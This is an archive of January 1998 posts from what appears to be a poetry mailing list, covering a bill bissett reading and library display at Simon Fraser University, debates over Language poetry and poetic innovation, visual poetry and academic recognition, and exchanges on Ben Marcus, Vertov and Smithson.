bill bissett reads at SFU Monday, Jan. 26; Special Collections displays works from bissett's 35-year poetry career.

Thu 22 Jan 1998

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bill bissett reads this monday, jan. 26, at simon fraser university, burnaby, bc, canada, at 1:30 pm, 126 halpern centre.

Jack Kerouac: You know who's a great poet? I know who the great poets are.

Ted Berrigan: Who?

Kerouac: Let's see, is it . . . William Bissette of Vancouver. An Indian boy. Bill Bissette, or Bissonnette.

Aram Saroyan: Let's talk about Jack Kerouac.

Kerouac: He's not better than Bill Bissette, but he's very original.

(from an interview with Jack Kerouac, The Paris Review, Summer 1968)

To celebrate bill bissett's reading at SFU this Monday, January 26, Special Collections and Rare Books has arranged a display of works by bissett from a career in poetry that spans more than thirty-five years. The display includes published books and broadsides featuring many examples of the poet and artist's unique design and forming a capsulized history of small press publishing in Canada since the mid-sixties. On display are works published by bissett under his own long-time imprint, blewointment press, as well as publications by Weed/Flower Press, Anansi, See/Hear, Very Stone House, Oberon, and Talonbooks, one of bissett's earliest publishers and his publisher of record for the past several years. Also shown is a manuscript book of poems, drawings and collages, "The Lion's Den and Other Poems," inscribed from bissett to Warren Tallman and dated 1969. The three-ring binder which contains the book features a collage by bissett on the cover. This work is part of the Warren Tallman Manuscript Archive, and like all the other works by bill bissett on display, is housed in Special Collections and Rare Books, Bennett Library Room 7100. The display is in the foyer of Special Collections on the Library's 7th floor and can be seen Monday through Friday, from 10:00 a.m. to 4:30 p.m., from now through the month of February.

--
Charles Watts

Special Collections & Rare Books
Room 7100, Bennett Library
Simon Fraser University
Burnaby, B.C. V5A 1S6
Tel: [redacted]; Fax: [redacted]
E-mail: [redacted]

↑ Index

725. **Robert Zamsky**
Re: The lost tampon
Thu 22 Jan 1998

Kent:

Sorry that I can't help you with the title of the movie you're thinking about -- it sounds great. I was just wondering why it's a shame that viewers today wouldn't be amazed as they were when the film came out. I mean, on the one hand, I can understand the sentiment -- and even share it. Readers/viewers shouldn't loose touch with what was newinterestingfresh in a work from days gone by. We should be able to consider and appreciate how great something was in its time. On the other hand, why? We can never truly appreciate something in its time because we're not there. To see it as it was would mean being where/as it was at its original moment -- a kind of leap back into time. Which, of course, we can't realy do (though certain critics would have it that we do some such thing each time we read a work). What I mean is, things change. Of course they do -- as you say, it's inevitable. All I'm saying is that I think not only is this change inevitable, it is in fact desirable. As something is re-experienced in a culture, it gains a kind of cumulative significance, so that what was groundbreaking becomes standard. This, it seems to me, is the process of artistic history, and the understanding of this cumulation of significance is an understanding of the work within (its) history.

Just some thoughts, as I jump back onto the list after a bit of an absence.

rob zamsky

↑ Index

726. **Tenney Nathanson**
Re: Who Katy Lederer is
Thu 22 Jan 1998

At 04:12 PM 1/21/98 -0500, you wrote:
>A tip of the pin to Lisa Jarnot for including in a handsome number of
>smart young poet-critics (jeepers, more contemporaries) during her tenure

>at the PoProjNwsltr. This month's "find" is got to be Loren Goodman, whose
>review of Kristin Prevallet's Ernstwerk is got to be the funniest thing in
>poetry land since Exile folded up its little hat.

Hi Jordon. Loren is an ex-Kochie, as you probably know, then slid through here getting an MFA without getting too scathed; a funny and smart poet as well as, apparently, a reviewer.

Tenney ("here" btw is U of Arizona, not Starnet....)

↑ Index

727. Graham W Foust
the age of wire and string
Thu 22 Jan 1998

---

fjb asked about Ben Marcus:

Yes! I'd forgotten (until recently) about that book as well. Saw it in a used bookstore last summer in DC. Too expensive, so I checked it out from the library (then left it on the subway on my way to return it, but confession would be digression).

So yeah, _The Age of Wire and String_ is really, as resident alien D. Bromige would say, "a corker." A kind of hyperspace on paper. Delany and Duncan play Dungeons and Dexedrine. "Dig it," as Ben Friedlander would say . . .

Noticed recently during a wild frenzy of re-reading that Marcus was present for the New Co(a)st conference. Check out his piece "Pump and Glow" in the Technique section if'n you have it.

I didn't really associate him with the Lish crew, though. It seemed more "speculative" than that, but speculative by way of the present, for the present (if that can be dug). Also very moving, as in both soap opera and trailer park.

I did have to start it three times, though. The first two tries had me at about page 20 with nowhere to want to go. The charming time, however, saw it catch a brainwave. So give this book a chance, maybe a few, por favor.

Also been very into Martha Ronk's _State of Mind_ (Sun and Moon) as of late, and (as a latecomer, and despite the Vendler blurb) Lucie Brock-Broido's _The Master Letters_ (Knopf, too).

Listening has consisted of the new Portishead (Sade on smack and in traction), the AC/DC soundtrack to Maximum Overdrive (_Who Made Who_, which I just mistyped as _Who Made Whoaaaaa_), and our own Franklin Bruno's _A Bedroom Community_. Oh, and also the Rolling Stones _Let it Bleed_, because I'm teaching it to my students along with some Greil Marcus (no relation to Ben,

Marcus that is) essays, despite the fact that Tom Mandel think his daddy (Greil's) dresses him (still Greil) funny (which he probably does).

go cat go,

Graham

p.s. as the newest, radicalist poet on the block I propose to saw my left arm off at my next reading (May 15th, Atticus Books, WDC!). This reading will also mark the premier of sections 1-98 of my new long poem, "The Hermit's Guide to Cocktails; or, This is Not a James Tate Poem."

↑ Index

728. **Thomas Bell**
Re: tail wags dog?
Thu 22 Jan 1998

Bob,

In thinking about this issue in the last week, I have come to the conclusion that possibly it's more likely another case of academicians following along behind (albeit only slightly in this case) what's happening out here. Just a glance at what's been posted here should convince most people that vizpo is and was a major event. Perhaps you should take Dr. Perloff's symposium at face value as an attempt to catch up with and study what's going on. In that sense she would welcome your and vizpo's input - I have not seen any thing to contradict this.

I think it woulod be unfortunate if your words in the last few paragraphs of your post (quoted below) were obscured by argument. tom bell

At 11:44 AM 1/22/98 -0500, Bob Grumman wrote:
>Marjorie Perloff was gracious enough to send

Interesting post on vizpo Bob, but it seems to me that the major difference you point to is one of who is a good vizpoet (?word). This takes it back (a step or two, I think) to frequently aired list controversies such as academy/critic vs. practitioner and langpo vs. something other. I'm not interested in bringing them up again, particularly as they obscure your statements that are of real importance:

> *I more and more believe that*
> *my function as a poet is to bring aesthetic pleasure to as much of the world as I can--to repay all the poets who have given me pleasure. I thus believe that winning a public (not only for myself but for other poets I admire) is as much of a part of being a poet as manipulating words (and the like). This means getting academic and/or commercial acceptance. I don't see any way around it.*

> *As a serious poet, I also want as many people to see my work as possible so that I can benefit from their responses to it. This is even more the case with my criticism. How can I know if what I'm doing is effective if I keep it from all but a few?*
>
> *Moreover, a grant or two could certainly come in handy. There's nothing wrong with wanting an occasional pat on the back, either.*
>
> *Many visual poets would disagree with me about academic recognition, grants, and the rest of it. But I'm quite sure they share my irritation with having an art that we've had to practice in near-total isolation for over thirty years in some cases further obscured by a wing of langpo that seems almost completely to miss the lyrical/metaphorical possibilities of visual poetry, focusing instead on typography as a form of cuing or decoration. These others don't want the recognition of the establishment, they just don't want to have dirt kicked at them any more than they already have.*
>
> *Bob Grumman*

↑ Index

729. Steven Marks
Review of Age of Wire and String
Thu 22 Jan 1998

For those interested, there is a combined review of Ben Marcus's "Age of Wire and String" and "Annotations" by John Keene at my web site. URL is

http://members.aol.com/swmarks/wsa.html

Review first appeared in "The Boston Book Review."

Steven

On Wed, 21 Jan 1998, Franklin Bruno wrote:

> *Has anyone else here read the other folks I mention (Marcus' -Age of Wire and String- is one of the strangest works I've come across for a while), even with contempt?*
>
> *fjb*

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

730. **groberts**
To the Historian of My New Poet
Fri 23 Jan 1998

To tell you the truth, entre nous
I never knew him personally,
So there's really no reason he
Should remember me purposively
In his account of who knew who
In the unaccountable coincidence
Of what was once new: enter you.

Gary R.

↑ Index

731. **George Bowering**
Re: Infamous spellings
Fri 23 Jan 1998

> *Reading Ted Berrigan's lecture on writing sonnets I came across this transcription of a Shakespeare line: "They rightly do inherent heaven's graces." I must admit to being a spelling snob, to the extent that I am dismissive of opinions expressed about "Alan Ginsburg" or "Finnegan's Wake" or "The Wasteland" or "Harry Matthews." This is not to say I am immune from error myself, just that the automatic pedantic reflex persists in me.*
>
> *Jonathan Mayhew*

Good on ya, J. We need more such careful eyes and ears.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

732. **Don Byrd**
Re: the new don ron don the new don ron
Fri 23 Jan 1998

Let me say to Mark Wallace that I am neither bored nor betrayed and whatever disappointment about the poetry scene that I might have has much more to do with my own generation than with yours. It's none of my business what you or any one else might do.

There are so many threads going, I'll take them randomly.

1. Ron says that the NEA supported only--what?-- The Figures, Roof, and Sun & Moon. Not true. Those are the presses it supported that interested him, and I assume that is what he means. It supported dozens of presses, the names of which neither of us would recognize and whose books we have never read. One year it also gave individual-artist grants to several Language Poets, but that was it: they had there one panel for poets who did not trace they pedigrees directly or indirectly to Iowa City. Language Poetry managed to get itself identified as the alternative to the academic mainstream, and the NEA and other granting institutions in their wisdom never heard of any one else.

2. If we are placing blames, which seem to be a major activity on this list, the sad state of poetry rests squarely on the shoulders of the poets of my and Ron's generation. Joel Oppenheimer used to say, "If someone is twenty and a poet, it is because s/he is twenty; if some some is forty and a poet, it is because s/he is a poet." If one makes it to sixty, one enters another territory. I remember a talk that Duncan gave in the 70s here in Albany, looking forward to an old age in which he imagined being like Henry James. At any rate, it seems to me that those of us who are now forty to sixty have failed to really establish an identity. It is sad indeed that the easiest way to stir up a lively discussion on this list is to make some broad generalization about LangPo, either positive or negative. This is a term that goes back twenty years. It was introduced about the time of the first Apple computers. By the mid-80s (when did the L=A=N=U=A=G=E book come out?), the documents of the movement were being archived for literary history by the university presses.

3. What are the terms of this failure? If you want to stick it to us, Mark, it is not that we are bored and betrayed.

a. Language Poetry made a major move in calling organicism into question. This was an aesthetic that belonged to romanticism and and was renovated by the New American Poets. That is, the New American Poets recovered organicism from the reactionaries, Eliot and the neo-metaphysicals. The LPs responded: "I hate speech"; "Not the breath-line, the new sentence"; "expose the devices"; "non-referentiality"; etc. It would be possible, I think, to reduce

the various manifestos to a series of commandments, rather like Pound's Imagist Manifesto--that is, plenty to support a few inventive poets to develop an identifiable mode and to leave a mark on poetry after the mode has run from Imagism to Amyism, but it was not sufficient to support an aesthetic in the larger sense. Consider what it took to get from Imagism to the full-blown modernism that supported the work in old-age of Eliot, Pound, H.D., Willliams, Steven, Stein, et. al. Four Quartets, Pisan Cantos, Paterson, and Trilogy are structurally a long ways from "The Station in the Metro." We have not laid the foundations for such a work, I am afraid. There is great work being done, but it suffers from the fact that people are going it alone (it has the problem of what Kenner called "the home made").

The new sentence is supple and exciting form in Ron Silliman's hands, but as a form its rhythmic and larger formal possibilities are limited. Watten's _Frame_, which is always intellectually inventive, is a torture machine of short, disjunct declarative sentences: S-V-O (stop) S-V-O (stop). The pattern so quickly burns paths in the neurons, deadening a long the way, that a couple of pages seems to me the limit of reading.

And across the board writing suffers from a poverty of connectivity. I would guess that in the intellectual history of the next century, if we manage to survive to have one, this time will be seen not as post-structuralist but the time of triumphant structuralism. Computers are form and the formal invention that powers the MIT Media Lab is unprecedented. But there is hardly a sign of this fact in the discussion of poetics.

b. Information. At the time, the question of how to deal with information became the foremost intellectual issue, poetry emptied itself out. As an initial move in handling the information glut, that is perhaps necessary, but an art form cannot long cut itself off from the prime intellectual issues of its time.

c. Content (the larger sense of information. Knowledge). This from a recent news report:

WASHINGTON (Reuters) - Economic growth that continued at a feverish pace in 1997 is outstripping the earth's ability to furnish resources to fuel future growth, the Worldwatch Institute said Saturday. "The global economy as now structured cannot continue to expand much longer if the ecosystem on which it depends continues to deteriorate at the current rate," Worldwatch's "State of the World" report, an annual assessment of mankind's impact on the environment, said. "The challenge facing the entire world is to design an economy that can satisfy the basic needs of people everywhere without self-destructing. The enormity of this task is matched only by its urgency," the report said.

The only poetry that I know that attempts to face this urgency is sentimental and hopelessly naive. Why?

Well, that's the beginning of a response.

Don

****
Don Byrd (□□□□□, □□□□□□)
Department of English
State University of New York
Albany, NY 12222
□□□□□□□□□ (work); □□□□□□□□□ (home); □□□□□□□□□ (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

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733. **henry gould**

Re: the new don ron don the new don ron

Fri 23 Jan 1998

On Fri, 23 Jan 1998 00:01:32 -0800 Don Byrd said:
>structurally a long ways from "The Station in the Metro." We have not laid
>the foundations for such a work, I am afraid. There is great work being done,
>of what Kenner called "the home made").

I've always felt the homemade is the most avant-garde. Doesn't this relate to your concluding paragraph on the politics of the world eco-economy?
>
>
>"The global economy as now structured cannot continue to expand much longer if
>the ecosystem on which it depends continues to deteriorate at the current
>rate," Worldwatch's "State of the World" report, an annual assessment of
>mankind's impact on the environment, said.
>the basic needs of people everywhere without self-destructing. The enormity of
>this task is matched only by its urgency," the report said.
>
> The only poetry that I know that attempts to face this urgency is
>sentimental and hopelessly naive. Why?
>

I tried to start answering this with my post on the rhetoric of political poetry. But maybe all the homemakers out there were put off by the Auden reference. A hermetically-autonomous art form loses a feel for "urgency" or the "form &

pressure of the time" pretty quickly. There are no easy answers, though rhetoric is the art of fluency, eloquence & persuasion. - Henry Gould

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734. Tom Mandel
bourbon
Fri 23 Jan 1998

Don,

"...Oh, and the bourbon--Knob Creek, when for
special occasions, Walker Evans (better than JD at a little more than half the price) for everyday."

"Walker Evans?" I had his photo of Saratoga NY pinned on a wall once. Is this related to the Catskills school of poetry?

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4020 Williamsburg Ct, Ste 200 * vox: [redacted]
Fairfax, VA 22031 * fax: [redacted]
****

Join the Caucus Conversation

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735. Mark Prejsnar
Re: French disease
Fri 23 Jan 1998

Fair enuff, Jacques....Altho an ongoing project has a certain continuity (or may) and we might or might not wanna use the same yardstick for it, as for the work of someone in the early stages of finding their footing...

But....A bunch of Atlanta poets were pouring over the Philly Talks among other items last night...And we all agreed that we couldn't make much sense out of this French-influence claim.

Maybe you Jacques could clarify who or what is carrying out this sinister gaullic incursion onto the current poetic scene....Maybe Ron himself...??

Mark P.

On Thu, 22 Jan 1998, Jacques Debrot wrote:

> *Mark Wallace, in his excellent post, raises questions about the identity of the "new". For what it's worth, the need for the new seems to me an expression of the mind's need & capacity for self-estrangement -- what Raymond Williams calls "the active struggle for new consciousness through new relationships." Obviously, even the most difficult work will become familiar over time. So that the need for "radical" innovation is the result of a crisis arising from the domesticating assimilation of previously difficult work. I think Silliman is probably right to regard "the French-influenced short abstract lyric" as "the poetry of utter habit." *But overlooked in these posts is that the onus of habit falls perhaps even more heavily on established writers than on emerging ones.* And one could or should -- despite its obvious brilliance -- fairly ask what precisely is radically *new* about the latest installments of *The Alphabet*?*

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736. **Mark Prejsnar**
Re: the new don ron don the new don ron
Fri 23 Jan 1998

I think Don Byrd's long "beginning of an explanation" about his disappointments is a wonderful and eloquent post. I certainly asknowledge the point about the "emptying out" of poetry (like a some cagean buddhic mind)...But it's really exaggerated..Not invalid, but as put quite overstated. The politix in Silliman and Bernstein is real and intense. Susan Howe is certainly the finest poet working today, in the U.S., for my money. Her nexus of historical flutter, collapse and flow, can hardly be said to be empty..

Equally importaintly, Don: Just how were the Pisan Cantos and Paterson less "home made" than the Alphabet, or the Crystal Text, or Melville's Marginalia....If there's a cobbled aspect to U.S. poetry, it stretches throughout the century (or rather, it starts with Dickenson and Whitman).

Mark
Atlanta

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737. **Henry Gould**
Re: the new don ron don the new don ron
Fri 23 Jan 1998

On Fri, 23 Jan 1998 09:46:40 -0500 Mark Prejsnar said:
The politix in Silliman and Bernstein is real and intense.
>Susan Howe is certainly the finest poet working today, in the U.S., for my

>money. Her nexus of historical flutter, collapse and flow, can hardly be
>said to be empty..

These are good points, Mark, I don't think anyone would deny them. What I would like to ask (again!) is whether the techniques they've chosen are the only ones available. Obviously if you took all three you'd have a great variety of techniques & literary & para-literary strategies. But what links them is a disruption & renunciation of the clear statement, the direct approach, the traditional phrase, rhythm, stanza, period, and obvious logic. All well & good. But the resulting hermeticism is understandable.

I am well aware that the tenor of my last three posts (& now I will be quiet, folks) seems to contradict what I was saying a few days ago about artistic integrity, Montale's "free man", etc. Montale himself had to deal with critical attacks on his a-politicalness, his supposed hermeticism. Poetry walks the boundary lines. If there's POETRY there - somehow - it will absorb autonomy & immediacy without losing its balance. - Henry Gould

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738. David Zauhar

Re: the new don ron don the new don ron

Fri 23 Jan 1998

On Fri, 23 Jan 1998, Don Byrd wrote:
> It is sad indeed that the easiest way
> to stir up a lively discussion on this list is to make some broad
> generalization about LangPo, either positive or negative. This is a term that
> goes back twenty years. It was introduced about the time of the first Apple
> computers. By the mid-80s (when did the L=A=N=U=A=G=E book come out?), the
> documents of the movement were being archived for literary history by the
> university presses.

The L=A=N=G=etc.etc. Book came out in 1984. It slipped out of print for a while then SIU press republished it last year. And as the preface by Bernstein and Andrew points out, the first issue of L=A=N=G=U=A=G=E came out almost 20 years ago exactly: February 1978.

Lost in the Archive

DZ

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739. **Mark Prejsnar**
Re: the new don ron don the new don ron
Fri 23 Jan 1998

On Fri, 23 Jan 1998, Henry Gould wrote:

> *On Fri, 23 Jan 1998 09:46:40 -0500 Mark Prejsnar said:*
> *The politix in Silliman and Bernstein is real and intense.*
> *Susan Howe is certainly the finest poet working today, in the U.S., for my money. Her nexus of historical flutter, collapse and flow, can hardly be said to be empty..*
>
> *These are good points, Mark, I don't think anyone would deny them. What I would like to ask (again!) is whether the techniques they've chosen are the only ones available. Obviously if you took all three you'd have a great variety of techniques & literary & para-literary strategies. But what links them is a disruption & renunciation of the clear statement, the direct approach, the traditional phrase, rhythm, stanza, period, and obvious logic. All well & good. But the resulting hermeticism is understandable.*

No they are not the only ones available...Just the ones I personally find most urgent, vital, striking, effective, passionate....

You don't have to like 'em. They represent one of the frames that helps to define my own interests as a poet, reader and editor.

Other ways of writing can be quite interesting, such as your fine poem, Reflections on a Still Life, which I published in the current Misc. Proj. (It's gotten some very positive responses from readers not very close to your esthetic, by the way.) But just as Howe or Coolidge are probably always gonna remain at one remove from your central interests, so your traditional phrase and obvious logic will remain at one remove from mine.

Agreeing to disagree can be productive.

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740. **Joe Amato/Kass Fleisher**
Re: the new don ron don the new don ron
Fri 23 Jan 1998

---

don, that was a nice post!---i take it more as an attempt to survey the context for reception (e.g., ecological) than as a statement re aesthetics per se... though of course "sentimental" and "naive" are/can be aesthetic evaluations...

but your assertions carry political weight---i mean very specifically, in a more partisan sense of the word... my understanding of what you've posted is that

you believe there may be a way for poetic practice to intervene more directly, say, in eco-issues... i like to think so too---that is, w/o being entirely idealistic, that the way(s) we speak and write and so forth have a bearing on how we "make" the world, directly and indirectly and locally (and i'm heedful of that "we")... and i'm certain you don't mean to say that we should all start writing (as some have) about our love of rivers and stars and such (not that i have anything against rivers and stars and such---i'd like to spend more time with same!)...

of course this would suggest attending to certain "empirical" realities, or realities so defined, no?... i am aware of your predilection for moving in directions scientific-technological, and you are aware of mine (and i know, too, that carlo lurks hereabouts!)... but i guess i'm asking how you think contemporary poetic issues might best be situated in light of those realities that you find most pressing?...

i don't think this reduces to "an" aesthetic, or "a" poetic... but i think multiple aesthetix/poetix can be aligned, or practiced, wrt pressing issues (say---though there are many who would object)... after listening to marjorie p last night (here in chicago to discuss, brilliantly, the poetry of frank o'hara wrt the painting of jasper johns) it's also abundantly clear to me that the present moment's understanding of the present moment is hopelessly incomplete---distance brings its own rewards... but i'd greatly appreciate it, as i think others might, if you would hazard a guess or two about what you find to be hopeful directions, b/c it *does* seem that you find 'what's goin' on' to be, not uninspired, but ineffective... and while this may comprise a mood (if you will) out of which to write, it may not be sufficient to connecting---however...

best,

joe

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741. **Bob Grumman**

Re: tail wags dog?

Fri 23 Jan 1998

I haven't much to say to Tom Bell's post except that for me a major question is not who're good visual poets, who not, so much as who are genuine visual poets, who are not; I believe many poets discussed in Marjorie Perloff's seminar--perhaps all--deserve discussion; but not as visual poets. As for Perloff's welcoming input from my group, I fear I've yet to see any genuine indication of this.

--Bob G.

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742. **d powell**
Re: The lost tampon
Fri 23 Jan 1998

KENT JOHNSON wrote:

In the end, the two women fall in love with >each
>other, which French women in the movies always seem to do. Well, >I
>know that sounds terrible, but that's about all I can remember >from
>that movie. Does anyone out there know what I'm talking about?
>
>I don't.
>
>Kent
>
Kent,

Yes, Here is San Francisco we call it "Lesbianism"

Doug
==========
D A Powell [redacted]
==========

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743. **hen**
Re: the new don ron don the new don ron
Fri 23 Jan 1998

On Fri, 23 Jan 1998 11:45:39 -0500 Mark Prejsnar said:
>No they are not the only ones available...Just the ones I personally find
>most urgent, vital, striking, effective, passionate....
>
>You don't have to like 'em. They represent one of the frames that helps
>to define my own interests as a poet, reader and editor.

But I do like them. I like them very much, when they're interesting.
>
>Agreeing to disagree can be productive.

That's one reason I keep piping up. (the other reason has to do with appreciating your gracious praise. It starts with a V & is probably one of the cardinal sins.) - Henry G.

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744. Robert J Tiess
Book-length Poetry Publishers
Fri 23 Jan 1998

Can anyone please backchannel me with
recommendations for book-length (from 90
- 300 pp), non-vanity poetry publishers?
I have an epic and some other works and am
extending my market research beyond LMP.
I would consider both print and electronic/web
publishers. If anyone knows of an agent who
would consider poetry (I know most do not),
I would appreciate that information as well.
Thank you in advance.

Robert
members.tripod.com/~rtiess

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745. Gary Sullivan
Response to Don's Post
Fri 23 Jan 1998

Hello, Don:

Thanks for that post; wow. A response, including a few hairs & heirs to split:

It was actually the Canadian poet Victor Coleman who first said, in print, "SPEECH SUCKS," a poem with that title written circa 1967, 1969, which appeared as the title poem in a collection very early in the 70s. 1969 also saw John Perrault's (sp.?) LUCKY, a language-as-written-thing collection I've never seen mentioned by anyone, despite publisher Kulchur's highly visible presence throughout the 60s & early 70s. I think the New American Poets as speech-based recoverers of organicism isn't quite the case-in-full. Whalen--who generously gave his volumes of Stein to Coolidge when he was through with them--shifts from (more-or-less) "written talk" to (more-or-less) "written thought," mid-sixties. Olson hardly spoke for everyone. Wieners's BEHIND THE STATE CAPITOL, published mid-70s (the writing itself, I think, covering several earlier years, possibly back into the 60s), though filled with richly sonorous poetry, is

also filled with non-verbalizable ("purely" visual) experiments with typography--not to mention lots of collaged things from newspapers, magazines, & Wieners's own photos. There is a sense I get, reading this consciously W R I T T E N book from cover-to-cover, of not mental breakdown (the usual dismissal of the work), but of spoken language being corroded by & in the act of being written down. Which is not to favor the spoken over the written, but to suggest an attention to organicism, to speaking and to writing, to the relationship between these that goes beyond the naive and/or sentimental. Much of the book foregrounds language, exposes the devices, and is non- or at least difficultly-referential. Two subsequent volumes of work in this vein were supposed to appear--but Wieners reportedly shoved pages of these manuscripts beneath car tires in Cambridge one rainy night in response to the lack of response to BEHIND THE STATE CAPITOL. This act suggests that Wieners's intention with the book was overtly PUBLIC, & his destruction of other work written this period & in this vein suggests a perceived failure--he was, in my opinion, too hasty, impatient; BEHIND THE STATE CAPITOL being THE book I, & a number of my poet friends, return to most often when considerations relative to "how to proceed" arise. Wieners is a poet, not an art historian, but my sense is that he was, then, aware of the contemporary landscape, & had fairly clear ideas as to the consequences of certain shifts. He had been, after all, institutionalized, & had his own "organicism" if you will, brutalized by--what else to call it--"a collective mind." (Mob mentality, prejudice, notions of "correct behavior," etc.) The title, BEHIND THE STATE CAPITOL, suggests, if nothing else, his "position." All this to say, I don't see your "going it alone" or Kenner's "home made" as negatives. The shiftings you point to were initially prodded by individuals, not groups. This is not romanticism, but a cold, studied look at the activity, the collective activity, of the human race, & of its consequences. I'd really like to invite you to backchannel me your address so I can send you Daniel Davidson's extension of this project (Dan knew Wieners's work well, though he never wrote publicly about it), CULTURE. This book-in-manuscript absolutely faces the present situation, as you describe it, & does so with intelligence & wit, having been as coldly considered as it was passionately made manifest. There are other writings along these lines, by others, I can send you--none of which has yet surfaced very publicly.

Anyway--I hope the above, hair-splitting aside, suggests more essential agreement than argument with what you say. Your post was the most compelling I've personally seen on this list. Thanks for taking the time to do it.

Yours,

Gary Sullivan

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746. Christina Fairbank Chirot
Re: Wave length
Fri 23 Jan 1998

In Strangers on a Train, in the famous carousel scene, Hitchcock has the camera moving back on a dolly rail while at the same time zooming "forward"--(the film was made in I believe 1953--Raymond Chanlder worked on the screenplay--) "baring the device"--among the first and still the best films ever done on this were made in the 1920's--Man with a Movie Camera by Dziga Vertov and The Cameraman by Bustweer Keaton, in Hollywood-- there was a famous double issue of Cahiers du Cinema in the late 1960s on Russian cinema, poetry, etc, their interelationships-a lot of it on Vertov--just as Godard was beginning to get interested iin "Kino Eye" writings by Vertov, which had a great influence at the time--(forty years after their appearance in Russia--) not long after was the huge "Moscou-Paris" show in Paris, of Futurism, Constructivism, Suprematism, etc that Cahiers issue includes the famous photo of Mayakovsky, Pasternak and Osip and Lili Brik together--staring down the camera-- btw, Kent--it was not Smithson who influenced the Russians, but the other way around--expecially Malevich has a large effect on him--see the essay "Sedimentations of the Mind: Earth Projects" Smithson notes as well that the work of Edgar Allen Poe's in Narrative of Arthur Gordon Pym should be considered--as art criticm appropriate to Smithson's Earth Projects-- (See John Irwin's great book dealing in large part with this work of Poe's, American Hieroglyphs: The Egyptian Hieroglyphs in the American Renaissance John Hopkins UP, I think 1979) --if you think about it, a good deal of Poe's work is about baring devices/conceling devices/revealing devices, in a dizzying hall of mirrors-- which mirrors show frequently in various of Smithson's projects of the Sixties--including the one in which the mirrors cancel out, so that the "spectator/actor" stadning the in the mirror chamber becomes--invisible! --dave baptiste chirot

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747. KENT JOHNSON
Re: Wave length
Fri 23 Jan 1998

Dave:

interesting post. But given your response and the equally nice one from Robert Zamsky, it seems the lost tampon has been taken much more literally than I intended it to be taken. Tongue in cheek, for the greater part, heavy on the irony, even if only comprehensible to myself. And I've done quite a bit of my own

looking into Smithson and also the Russians, so I'm aware of the chronology. Chronology has been such a preoccupation on the list of late.

But then, how do we really _know_ that Malevich (who swore by such things) didn't travel forward (like a camera, in an impossibly slow way) to stand somewhere in Passaic inside one of Smithson's Mirror Displacements, witness the concept of his vanishing, and then *poof* reappear back in Moscow, to create the works that later came to influence Smithson's mirror displacements? Time coils in on itself and then slowly sinks back into a dead lake. As Jordan Davis might put it in his marvellously laconic way: you never know.

Hurrah for Malevich.

Hurrah for Smithson.

and Hurrah, above all, for Poe, wiht whom I shared opium one magical afternoon by the Milwaukee River in 1996 (it was lightly snowing). I will not soon forget his parting words of warning, nor his raven form, slowly flapping east toward Baltimore, where he would come to write Pym and then die, misunderstood, rabid, alone.

Kent

> *On 23 Jan. David Baptiste Chirot wrote:*
>
> *In Strangers on a Train, in the famous carousel scene, Hitchcock has the camera moving back on a dolly rail while at the same time zooming "forward"--*
> *(the film was made in I believe 1953--Raymond Chanlder worked on the screenplay--)*
> *"baring the device"--among the first and still the best films ever done on this were made in the 1920's--Man with a Movie Camera by Dziga Vertov and The Cameraman by Bustweer Keaton, in Hollywood--*
> *there was a famous double issue of Cahiers du Cinema in the late 1960s on Russian cinema, poetry, etc, their interelationships-a lot of it on Vertov--just as Godard was beginning to get interested iin "Kino Eye" writings by Vertov, which had a great influence at the time--(forty years after their appearance in Russia--)*
> *not long after was the huge "Moscou-Paris" show in Paris, of Futurism, Constructivism, Suprematism, etc*
> *that Cahiers issue includes the famous photo of Mayakovsky, Pasternak and*
> *Osip and Lili Brik together--staring down the camera--*
> *btw, Kent--it was not Smithson who influenced the Russians, but the other way around--expecially Malevich has a large effect on him--see the essay "Sedimentations of the Mind: Earth Projects"*
> *Smithson notes as well that the work of Edgar Allen Poe's in Narrative of Arthur Gordon Pym should be considered--as art criticm appropriate to Smithson's Earth Projects--*

> *(See John Irwin's great book dealing in large part with this work of Poe's, American Hieroglyphs: The Egyptian Hieroglyphs in the American Renaissance John Hopkins UP, I think 1979)*
> *--if you think about it, a good deal of Poe's work is about baring devices/conceling devices/revealing devices, in a dizzying hall of mirrors--*
> *which mirrors show frequently in various of Smithson's projects of the Sixties--including the one in which the mirrors cancel out, so that the "spectator/actor" stadning the in the mirror chamber becomes--invisible!*
> *--dave baptiste chirot*

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748. **k. lederer**

Re: The new as per young and old... loneliness... Dale Smith

Fri 23 Jan 1998

On Thu, 22 Jan 1998, Steve Evans wrote:

>
> Oppen's lines bring one further thing to mind. The question of how to make
> it new takes on a different urgency in an established writer, I think, and
> it must be tempting to displace the crisis onto the young in the form of
> surly dismissals / loving prods. Has Ron succeeded in making it "really
> new" in the years since _Ketjak_? I've heard knowledgable contemporaries,
> young and old, dispute the question pretty hotly, and the outcome is not
> every time in Ron's favor.
>
(Also as to the unfortunate discussion of penis size that went on yesterday...)
(Also as to Dale Smith's critiques of various langpo styles...)
(Also as to the brilliant intro to Jennifer Moxley's Imagination Verses...)

"A language is therefore on the hither side of Literature. Style is almost beyond it: imagery, delivery, vocabulary spring from the body and the past of the writer and gradually become the very reflexes of his art. Thus under the name of style a self-sufficient language is evolved which has its roots only in the depths of the author's personal and secret mythology, that subnature of expression where the first coition of words and things takes place, where once and for all the great verbal themes of his existence come to be installed. Whatever its sophistication, style has always something crude about it: it is form with no clear destination, the product of a thrust, not an intention, and, as it were, a vertical and lonely dimension of thought. Its frame of reference is biological or

biographical, not historical; it is the writer's 'thing', his glory and his prison, it is his solitude..." (Barthes, Writing Degree Zero)

Who wants to be original--alone?
Can (an implicitly stylized) writing ever take the form of a contract between the writer and the reader? Is this what you are asking for, Dale?

Katy

> =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
> *The Impercipient Lecture Series*
> *Steve Evans & Jennifer Moxley*
>
> *Before 31 January 98:*
> *61 East Manning Street*
> *Providence RI 02906-4008*
> [redacted] *OR* [redacted]
>
> *After 1 February 1998*
> *c/o Le Gallou*
> *#9 rue Quinault Paris 75015*
> [redacted]

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749. **Henry Gould**
Re: Wave length
Fri 23 Jan 1998

---

see Irwin's follow-up book, MYSTERY TO A SOLUTION, to the absolosbalute ultimitlutate on "mirrors" (& chess, & identity...)

E.P./E.P.
W.S./W.S.

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750. **KENT JOHNSON**
Plagiarism
Fri 23 Jan 1998

Hurrah for Gary Sullivan's fascinating post on Wieners, et.al.

